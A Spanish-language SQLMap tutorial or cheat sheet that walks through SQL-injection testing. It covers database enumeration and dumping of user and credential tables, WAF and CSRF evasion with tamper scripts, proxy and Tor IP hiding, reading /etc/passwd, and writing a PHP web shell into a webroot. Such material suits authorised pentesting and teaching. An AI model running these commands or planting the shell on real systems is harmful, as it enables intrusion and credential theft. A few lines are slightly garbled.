SQLMap

SQLMap es una herramienta open-source que permite detectar y explotar SQLi.

Dentro de las características que posee SQLMap, se pueden mencionar las siguientes:

  • Conexión con el objetivo

  • Enumeración

  • Obtener contenido de la DB

  • Detección de inyección

  • Optimización

  • Acceso al sistema de archivos

  • Fingerprinting

  • Detección de protección y bypass usando scripts tamper

  • Ejecución de comandos de OS

Instalación de SQLMap

En los sistemas basados en Debian, se puede instalar usando APT:

sudo apt install sqlmap

O puede ser instalado mediante github:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dedv
python3 sqlmap.py

DBMSs soportadas

SQLMap soporta las siguientes DBMS:

  • MySQL

  • SQLite

  • Sybase

  • HSQLDB

  • H2

  • Vertica, Mckoi

  • CrateDB

  • Cubrid

  • FrontBase

  • Oracle

  • IBM DB2

  • SAP MaxDB

  • CockroachDB

  • MonetDB

  • Presto

  • Greenplum

  • InterSystems Cache

  • PostgreSQL

  • Microsoft Access

  • Informix

  • TiDB

  • Apache Derby

  • Altibase

  • Drizzle

  • IRIS

  • Microsoft SQL Server

  • Firebird

  • MariaDB

  • MemSQL

  • Amazon Redshift

  • MimerSQL

  • Apache Ignite

  • eXtremeDB

Tipos de inyección soportados

Podemos obtener esta información usando el siguiente comando:

sqlmap -hh
  • B boolean-based blind

  • E error-based

  • U union query-based

  • S stacked queries

  • T time-based blind

  • Q inline queries

Uso de SQLMap

Uso básico

En caso de que queramos testear la URL http://www.example.com/vuln.php?id=1, podemos usar el siguiente comando:

sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
  • -u URL a escanear

  • --batch no preguntar por input del usuario, usar el comportamiento por defecto

Para obtener los datos de la URL, los headers y otros, podemos usar la opción Copy as cURL que se encuentra en Network (Monitor) en el panel de herramientas de desarrollador de los navegadores (Chrome, Edge o Firefox). Luego, este comando es necesario pegarlo en la terminal, y reemplazar curl por sqlmap.

En caso de que el request use el método POST, podemos pasar los datos con la opción --data:

sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

Si solo queremos que valide solo uno de los datos enviados, podemos usar los siguientes ejemplos:

sqlmap 'http://www.example.com/' --data 'uid=1&name=test' -p uid
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'
  • -p validar el parámetro indicado

Otra opción es, mediante Burp Suite, guardar el request en un archivo de texto, y ejecutar el siguiente comando:

sqlmap -r requests.txt
  • -r cargar el request desde un archivo

Podemos indicar el uso de cookies con la opción --cookie, y el de algún header en especial con -H/--header:

sqlmap 'http://www.example.com/vuln.php?id=1' --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
sqlmap 'http://www.example.com/vuln.php?id=1' -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

En caso de que el método sea diferente a GET y POST, podemos usar --method para modificarlo:

sqlmap 'http://www.example.com/vuln.php?id=1' --method PUT

Tunning del ataque

SQLMap utiliza --level y --risk indicar los vectores de ataque a usar.

  • --level puede ser un número entre 1 y 5, donde, por defecto, es 1 y extiende tanto los vectores como los límites que se utilizan, en función de su expectativa de éxito (es decir, cuanto menor sea la expectativa, mayor será el nivel)

  • --risk puede ser un número entre 1 y 3, donde, por defecto, es 1 y amplía el conjunto de vectores utilizados en función de su riesgo de causar problemas en el lado de destino (es decir, riesgo de pérdida de entrada de la base de datos o denegación de servicio)

sqlmap 'http://www.example.com/vuln.php?id=1' --level=5 --risk=3

Por defecto, se usa --level=1 --risk=1, el cual, testea 72 payloads, mientras que, --level=5 --risk=3 valida 7865 payload.

Además, podemos indicar prefijos y sufijos, usando --prefix y suffix:

sqlmap 'http://www.example.com/vuln.php?id=1*' --prefix='`)' --suffix='-- -'

E incluso, especificar parámetros para un ataque basado en UNION:

sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-cols=1-9
sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-cols=5 --union-char='a'
sqlmap 'http://www.example.com/vuln.php?id=1*' --technique=U --union-from=users
  • --technique=U realizar un ataque UNION

  • --union-cols especificamos el número de columnas a validar o el total que tiene la tabla

  • --union-char en caso de que los valores de relleno usados por SQLMap no sean compatibles con la DB, podemos especificar cuál usar

  • --union-from en caso de usar algún apéndice al final del ataque UNION (como en una DB Oracle), podemos usar esta opción

Enumeración de una DB

Con las siguientes opciones podemos obtener información básica de la DB:

sqlmap 'http://www.example.com/vuln.php?id=1*' --banner --current-user --current-db --is-dba
  • --banner banner con la versión de la DB

  • --current-user usuario actual con el que nos conectamos a la DB

  • --current-db nombre de la DB actual

  • --is-dba valida si el usuario es DBA (administrador)

Si queremos obtener el nombre de las DBs, podemos usar el siguiente comando:

sqlmap 'http://www.example.com/vuln.php?id=1*' --dbs

Para conocer las tablas de una DB, usamos --tables, especificando con -D el nombre de la DB:

sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb --tables

Con estos datos, podemos dumpear los datos de las tablas:

sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users --dump

Si queremos solo la información de ciertas columnas, podemos usar -C, seguido de los nombres de las columnas:

sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users -C username,password --dump

En caso de querer dumpear solo filas específicas, podemos incorporar --start y --stop en el comando:

sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb -T users --start=2 --stop=3 --dump

Si queremos dumpear una DB completa, podemos usar el siguiente comando:

sqlmap 'http://www.example.com/vuln.php?id=1*' -D testdb --dump

Si la tabla tiene hashes, SQLMap no puede ofrecer generar un ataque de fuerza bruta contra estos.

Para dumpear todas las DB, usamos el comando --dump-all:

sqlmap 'http://www.example.com/vuln.php?id=1*' --dump-all
sqlmap 'http://www.example.com/vuln.php?id=1*' --dump-all --exclude-sysdbs
  • --exclude-sysdbs se usa para no obtener información de las DB del sistema, que por lo general, no tienen información relevante para un pentesting

Obtención del esquema de la DB:

sqlmap 'http://www.example.com/vuln.php?id=1*' --schema

Si queremos buscar tablas que contengan alguna palabra, podemos usar el siguiente comando:

sqlmap 'http://www.example.com/vuln.php?id=1*' --search -T user

Esto lo podemos repetir con columnas:

sqlmap 'http://www.example.com/vuln.php?id=1*' --search -C pass

Además de las credenciales de usuario que se encuentran en las tablas de la base de datos, también podemos intentar dumpear el contenido de las tablas del sistema que contienen credenciales específicas de la base de datos:

sqlmap 'http://www.example.com/vuln.php?id=1*' --passwords

Bypass protecciones Web

SQLMap posee múltiples opciones para realizar bypass de protecciones web. Una de ellas es el bypass al token Anti-CSRF:

sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
  • --csrf-token indicamos el nombre del token

En caso de tener un valor que debe ser randomizado (unique value bypass), podemos usar la opción --randomize, donde, al igual que con el token anterior, debemos indicar el nombre del parámetro:

sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp

Algunas protecciones esperan que se mande algún valor calculado en base a otro, por eso, podemos usar lo siguiente en caso de que sea un valor MD5 (calculated parameter bypass):

sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()"

Para poder ocultar nuestra IP, podemos usar dos opciones, ocultarla mediante un proxy o mediante TOR:

sqlmap 'http://www.example.com/vuln.php?id=1*' --proxy="socks4://177.39.187.70:33283"
sqlmap 'http://www.example.com/vuln.php?id=1*' --proxy-file=proxy_list.txt
sqlmap 'http://www.example.com/vuln.php?id=1*' --check-tor
sqlmap 'http://www.example.com/vuln.php?id=1*' --tor
  • --proxy indicamos el proxy a usar

  • --proxy-file lista de proxies

  • --check-tor validar si TOR se está usando de forma correcta

  • --tor usar TOR para ocultar nuestra IP de origen

Para hacer bypass de WAF, SQLMap utiliza la librería identYwaf:

sqlmap 'http://www.example.com/vuln.php?id=1*' --skip-waf

SQLMap, por defecto, utiliza un User-Agent que contiene la palabra sqlmap en él, para evitar esto, podemos usar la opción --random-agent:

sqlmap 'http://www.example.com/vuln.php?id=1*' --random-agent

Uno de los mecanismos más populares son los Tamper Scripts. Estos modifican las solicitudes antes de ser enviados al destino.

Para usar estos scripts, se utiliza la opción --tamper:

sqlmap 'http://www.example.com/vuln.php?id=1*' --tamper=between,randomcase
Tamper-ScriptDescription

0eunion

Reemplazar instancias de UNION con e0UNION

base64encode

Codificar en Base64 todos los caracteres en un payload

between

Reemplazar el operador mayor que (>) con NOT BETWEEN 0 AND # y el operador igual (=) con BETWEEN # AND #

commalesslimit

Reemplazar instancias (MySQL) como LIMIT M, N con su contraparte LIMIT N OFFSET M

equaltolike

Reemplazar todas las ocurrencias del operador igual (=) con LIKE

halfversionedmorekeywords

Agregar un comentario versionado (MySQL) antes de cada palabra clave

modsecurityversioned

Adoptar una consulta completa con un comentario versionado (MySQL)

modsecurityzeroversioned

Adoptar una consulta completa con un comentario de versión cero (MySQL)

percentage

Agregar un signo de porcentaje (%) delante de cada carácter (ejemplo: SELECT -> %S%E%L%E%C%T)

plus2concat

Reemplazar el operador más (+) con la contraparte de la función (MsSQL) CONCAT()

randomcase

Reemplazar cada carácter de palabra clave con un valor de caso aleatorio (por ejemplo, SELECT -> SEleCt)

space2comment

Reemplazar el carácter de espacio ( ) con comentarios `/

space2dash

Reemplazar el carácter de espacio ( ) con un guion de comentario (--) seguido de una cadena aleatoria y una nueva línea ()

space2hash

Reemplazar instancias (MySQL) de carácter de espacio ( ) con un carácter de almohadilla (#) seguido de una cadena aleatoria y una nueva línea ()

space2mssqlblank

Reemplazar instancias (MsSQL) de carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

space2plus

Reemplazar el carácter de espacio ( ) con más (+)

space2randomblank

Reemplazar el carácter de espacio ( ) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos

symboliclogical

Reemplazar los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y `

versionedkeywords

Incluir cada palabra clave que no es función con un comentario versionado (MySQL)

versionedmorekeywords

Incluye cada palabra clave con un comentario versionado (MySQL)

Otros métodos a usar, son el de la fragmentación (chunked), que divide las consultas para pasar desapercibida una consulta:

sqlmap 'http://www.example.com/vuln.php?id=1*' --chunked

El otro mecanismo de bypass es el HTTP parameter pollution (HPP), donde, los payloads se dividen de manera similar, como en el caso de chunked entre diferentes valores con el mismo nombre de parámetro (por ejemplo: ?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users...), que están concatenados por la plataforma de destino si la admite (como ASP).

Explotación del OS

Si queremos leer un archivo que se encuentra en la máquina, podemos usar el siguiente comando:

Es importante tener en cuenta que muchas veces se necesitan permisos de DBA. Para validar esto, podemos usar la opción --is-dba.

sqlmap 'http://www.example.com/vuln.php?id=1*' --file-read "/etc/passwd"

Esto nos guardará el output en un archivo local.

En caso de querer escribir un archivo, podemos hacer lo siguiente:

  • Archivo que queremos cargar:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
  • Comando:

sqlmap 'http://www.example.com/vuln.php?id=1*' --file-write "shell.php" --file-dest "/var/www/html/shell.php"

Si queremos ejecutar comandos directamente usando SQLMap, y no subiendo una shell a esta, podemos usar la opoción --os-shell:

sqlmap 'http://www.example.com/vuln.php?id=1*' --os-shell

En caso de que no se muestre de forma correcta el output de los comandos, podemos cambiar la técnica de ataque por defecto UNION, a otra:

sqlmap 'http://www.example.com/vuln.php?id=1*' --os-shell --technique=E

Last updated